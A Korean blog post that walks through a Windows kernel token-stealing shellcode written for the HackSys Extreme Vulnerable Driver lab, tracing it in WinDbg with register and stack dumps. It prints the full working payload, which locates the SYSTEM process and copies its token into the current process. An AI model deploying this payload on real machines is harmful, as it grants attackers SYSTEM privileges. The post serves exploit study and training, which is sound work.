[Kernel] Kernel Shellcode Analysis



출처: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

 

Step 1. Token

이전 kernel exploit에서 payload를 구성하고 아래에 나와 있는 System token을 얻기위한 shellcode를 추가해 현재 프로세스의 권한을 올리고 cmd.exe를 실행시켰습니다.

VOID TokenShellcode() {
	__asm {
		pushad
		xor eax, eax
		mov eax, fs:[eax + 0x124]; KTHREAD offset
		mov eax, [eax + 0x50]; EPROCESS offset
		mov ecx, eax
		mov edx, 0x4; system process PID

		SearchSystemPID :
		mov eax, [eax + 0xb8]; FLINK offset
	        sub eax, 0xb8
		cmp[eax + 0xb4], edx; PID offset
		jne SearchSystemPID

		mov edx, [eax + 0xf8]; Token offset
		mov[ecx + 0xf8], edx

		popad

		xor eax, eax
		add esp, 12
		pop ebp
		ret 8
	}
}

 

해당 shellcode를 windbg로 따라가면서 shellcode가 어떤 원리로 구성되었는지 살펴보겠습니다. return address가 shellcode의 주소를 가리키고 ret instruction이 실행되기 전을 가정해 분석하였습니다.

 

 

Step 2. Shellcode Analysis

먼저 앞 부분의 단계를 살펴봅니다.

pushad
 xor eax, eax
 mov eax, fs:[eax + 0x124]
 mov eax, [eax + 0x50]
 mov ecx, eax
 mov edx, 0x4

 

 

ret instruction이 실행되기 전 현재 esp부터의 데이터를 살펴보면 아래와 같습니다. 0x3b1000은 현재 shellcode의 주소를 나타냅니다.

 

 

 

이후 pushad instruction부터 shellcode가 실행되게 됩니다. 앞 부분의 register push 부분은 shellcode 형태를 함수처럼 선언해 함수 프레임이 만들어지는 프롤로그 과정이라고 생각하시면 됩니다.

 

 

 

다음은 pushad 전 breakpoint를 걸고 실행 후 stack 구조를 나타냈습니다. pushad는 register에 있는 값들을 모두 stack에 push하는 instruction입니다.

 

일반 Application에서는 shell만 실행하면 취약점이 있는 프로그램은 오류가 떠도 상관 없지만 Kernel exploit에서는 권한을 상승시키고 다시 원상태로 register를 복구해야 합니다. 따라서 pushad를 사용해 이전 register의 값을 백업시킵니다.

 

그리고 그림에서 stack에 push된 값을 살펴보면 pushad instruction을 알 수 있습니다. 총 8개의 register값을 저장하므로 0x20만큼 esp값이 낮아지게 됩니다.

 

eax -> ecx -> edx -> esp -> ebp -> esi -> edi

 

 

 

그 이후 FS:[0x124]에 저장되어 있는 KTHREAD 구조체 포인터 값을 eax register로 옮기게 됩니다. KTHREAD 구조체는 현재 실행되는 thread의 정보가 담겨져 있는 구조체입니다.

 

그리고 KTHREAD의 내부에서 EPROCESS 구조체 포인터 값을 다시 eax register에 저장합니다.

 

 

 

현재의 EPROCESS 구조체를 살펴보면 내가 실행시키고 있는 프로그램의 이름이 나타나있는 것을 확인할 수 있습니다. 이 값은 ecx register에 저장됩니다.

 

 

 

그리고 현재 EPROCESS 구조체를 살펴보면 0xb8부분에 LIST_ENTRY라는 자료형이 있습니다. 이는 다음 process의 EPROCESS구조체 LIST_ENTRY를 가리키고 있습니다. 따라서 프로세스 탐색시 LIST_ENTRY의 offset을 이용하면 됩니다.

 

 

 

위 과정을 거치게 되면 현재 ecx, eax에는 현재 실행되는 process의 EPROCESS구조체 포인터, edx는 system PID를 나타내는 4가 저장되어 있습니다.

 

다음의 과정은 PID가 4인 system process를 찾는 과정입니다.

 

먼저 eax register값, 즉 현재 process의 EPROCESS값에서 FLINK를 타고 다음 process의 EPROCESS LIST_ENTRY로 가게 됩니다. 그 값에서 FLINK offset을 빼주게 되면 EPROCESS 구조체의 주소값이 나오고 system process PID인 4와 비교하는 반복을 거치게 됩니다.

 

따라서 위의 과정을 거치면 system process의 EPROCESS구조체 주소가 eax register에 저장됩니다.

SearchSystemPID:
 mov eax, [eax + 0xb8] ; FLINK offset
 sub eax, 0xb8
 cmp [eax + 0xb4], edx ; PID offset
 jne SearchSystemPID

 

현재 eax register에 system process EPROCESS가 저장되어 있으므로 구조체속에서 token을 구해 edx값에 저장합니다. 그리고 현재의 Process token에 edx 값을 저장해 권한을 올리게 됩니다.

mov edx, [eax + 0xf8] ; Token offset
mov [ecx + 0xf8], edx

popad

xor eax, eax
add esp, 12
pop ebp
ret 8

 

그리고 popad를 실행하는데 pushad의 반대라고 생각하면 됩니다. popad를 하기전 stack의 상태와 register의 값을 보면 pushad를 한 직후의 상태와 같습니다.

kd> r
 eax=84ee18e8 ebx=94405da2 ecx=85c1e550 edx=8a001276 esi=85c69eb0 edi=85c69e40
 eip=003b1036 esp=9531dab4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
 cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
 003b1036 61 popad

kd> dc esp
 9531dab4 85c69e40 85c69eb0 41414141 9531dad4 @.......AAAA..1.
 9531dac4 94405da2 00000000 944046f2 00000000 .]@......F@.....
 9531dad4 85c69e40 85c69eb0 94405da2 9531dafc @........]@...1.
 9531dae4 94405185 85c69e40 85c69eb0 874e9300 .Q@.@.........N.
 9531daf4 8501f958 00000000 9531db14 82e56593 X.........1..e..
 9531db04 8501f958 85c69e40 85c69e40 8501f958 X...@...@...X...
 9531db14 9531db34 8304a99f 874e9300 85c69e40 4.1.......N.@...
 9531db24 85c69eb0 00000094 0431dbac 9531db44 ..........1.D.1.

 

popad를 하고난 뒤 stack과 register들의 상태는 shellcode를 실행시키기 전과 동일해집니다.

 

그리고 함수 프롤로그 과정중 실행됐던 3번의 push는 add esp, 12로 stack pivot해주고 다시 ret 8로 esp를 shellcode가 실행시키기 전으로 되돌려 줍니다.

kd> r
 eax=00000000 ebx=94405da2 ecx=944046f2 edx=00000000 esi=85c69eb0 edi=85c69e40
 eip=003b1037 esp=9531dad4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
 cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
 003b1037 33c0 xor eax,eax

kd> dc esp
 9531dad4 85c69e40 85c69eb0 94405da2 9531dafc @........]@...1.
 9531dae4 94405185 85c69e40 85c69eb0 874e9300 .Q@.@.........N.
 9531daf4 8501f958 00000000 9531db14 82e56593 X.........1..e..
 9531db04 8501f958 85c69e40 85c69e40 8501f958 X...@...@...X...
 9531db14 9531db34 8304a99f 874e9300 85c69e40 4.1.......N.@...
 9531db24 85c69eb0 00000094 0431dbac 9531db44 ..........1.D.1.
 9531db34 9531dbd0 8304db71 8501f958 874e9300 ..1.q...X.....N.
 9531db44 00000000 82eb0201 00040e00 00000002 ................

 

위와 같은 과정들로 현재 kernel의 흐름에 지장 없이 process의 권한을 탈취할 수 있습니다.

'System > Windows' 카테고리의 다른 글

[Window Application Exploit] ROP2  (0) 2017.09.18
[Window Application Exploit] ROP  (0) 2017.09.15
[Kernel] Kernel Shellcode  (0) 2017.09.11
[Kernel] Kernel Pool Attack  (0) 2017.09.08
[Kernel] Allocate Kernel Memory Free  (0) 2017.09.06

이 글을 공유하기

댓글